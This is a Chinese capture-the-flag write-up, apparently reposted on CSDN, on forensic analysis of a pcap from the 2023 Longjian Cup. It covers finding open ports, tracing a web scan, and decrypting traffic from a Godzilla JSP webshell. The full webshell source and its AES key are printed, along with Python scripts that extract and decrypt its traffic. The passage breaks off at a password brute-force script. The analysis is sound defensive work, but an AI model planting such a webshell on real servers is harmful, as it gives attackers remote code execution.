2023陇剑杯线上&线下赛数据分析

好久没打过比赛了,对于这种偏蓝方的比赛我还是很喜欢
本文首发于:先知社区:https://xz.aliyun.com/t/13177

HW

hard web_1

题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)

打开流量包就能看到,192.168.162.188192.168.162.180进行端口扫描
在这里插入图片描述

所以由此可以确定192.168.162.188是黑客IP。根据题目确定,如果端口开放,那么黑客发送带有SYN的TCP段报文,服务器会返回(SYN,ACK)的TCP段报文。
所以我们只需要寻找响应IP是服务器IP并且发送了(SYN,ACK)报文。
过滤器写法如下:

ip.src == 192.168.162.180 and tcp.connection.synack
ip.src == 192.168.162.180 and tcp.flags=0x012

可以看到前三个报文是扫描到开放端口返回的(SYN,ACK)报文,其他都是与80端口开放的服务进行通信
在这里插入图片描述

那么答案就是80,888,8888

hard web_2

问题内容:服务器中根目录下的flag值是多少?

因为看到了80端口开放,我们看看web服务发生了什么
在这里插入图片描述

可以看到黑客对web服务进行路径扫描,服务器返回了大量的404状态,因此我们通过过滤器语法http.request or http.response.code == 200查看黑客对服务器的请求以及(如果存在)web页面的响应
在这里插入图片描述

可以看到服务器存在一个test.jsp的webshell,黑客执行了一些命令,在最后查看了shell.jsp的内容
在这里插入图片描述

我们查看一下shell.jsp的内容,稍微代码美化一下可以得到如下

<%! String xc = "748007e861908c03";

    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }

        public Class Q(byte[] cb) {
            return super.defineClass(cb, 0, cb.length);
        }
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    } %>
<%
    try {
        byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
        java.io.InputStream inputStream = request.getInputStream();
        int _num = 0;
        while ((_num += inputStream.read(data, _num, data.length)) < data.length) ;
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            f.equals(arrOut);
            f.equals(pageContext);
            f.toString();
            response.getOutputStream().write(x(arrOut.toByteArray(), true));
        }
    } catch (Exception e) {
    }
%>

可以看到这是未加密的哥斯拉JSP木马,key是748007e861908c03,那么可以通过解密脚本去解密流量,具体分析请看这里,这里放一下我自动提取哥斯拉木马的交互流量分析脚本和解密脚本。

# extract_pcap.py
import pyshark
import pickle

pcap = pyshark.FileCapture(
    "../hard_web.pcap", display_filter="http.request.uri==\"/shell.jsp\" or http.response.code == 200", tshark_path=R"D:\whitehat\tools\Wireshark\tshark.exe")

HTTPchat = {
   "req": [], "res": []}  # 创建请求和响应的字典


def get_file_data(pkt):  # 获取file_data
    if int(pkt.http.content_length) == 0:  # 检测是否有file_data
        return None
    if int(pkt.http.content_length) != len(pkt.http.file_data):  # 检测file_data内容是否完整
        reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
            "DATA" in pkt) else pkt.TCP.payload.binary_value
        Data = reassmbledData[reassmbledData.find("\r\n\r\n".encode())+4:]
        if int(pkt.http.content_length) == len(Data):  # 这段可以不用加,一般情况下都是完整的
            return Data
    else:
        return pkt.http.file_data.binary_value


for pkt in pcap:
    if int(pkt.number) < 24256:  # 跳到关键请求
        continue
    if pkt.http.chat.split(" ")[0] in ["GET", "POST"]:  # 检测是否是请求
        HTTPchat["req"].append(
            {
   pkt.number: get_file_data(pkt)})  # 添加请求数据
    if pkt.http.chat.split(" ")[0] in ["HTTP/1.1"]:  # 检测是否是响应
        HTTPchat["res"].append({
   pkt.http.request_in: get_file_data(pkt)})

pickle.dump(HTTPchat, open("HTTPchat.pkl", "wb"))  # 保存文件

# decrypt.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import pickle
import gzip


def decrypt(data):  # 解密
    xc = "748007e861908c03"
    xc = xc.encode("utf-8")
    cipher = AES.new(xc, AES.MODE_ECB)
    cipherResult = cipher.decrypt(data)
    cipherResult = unpad(cipherResult, AES.block_size)
    try:
        result = gzip.decompress(cipherResult).decode("utf-8")
    except Exception as e:
        print(e)
        result = cipherResult.decode(errors="ignore")
    return result


HTTPchat = pickle.load(open("HTTPchat.pkl", "rb"))  # 读取文件
for i in range(len(HTTPchat["req"])):
    req = list(HTTPchat["req"][i].values())[0]
    res = list(HTTPchat["res"][i].values())[0]
    if req == None or res == None:
        continue  # 第一次进行POST没有经过gzip,详细看https://xz.aliyun.com/t/10556
    print(decrypt(req), end="\n***************\n")
    print(decrypt(res), end="\n***************\n")

通过脚本解密后就会发现执行了flag的命令
在这里插入图片描述

那么答案就是flag{9236b29d-5488-41e6-a04b-53b0d8276542}

hard web_3

问题内容:该webshell的连接密码是多少?

通过之前了解到key是748007e861908c03,但是这个key是通过md5(密钥).substring(0,16)得到的,通过查看流量发现这个连接密码的格式如key = 1****y
在这里插入图片描述

理论上可以通过爆破来做,写个脚本看看

# brute.py</
  • 22
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值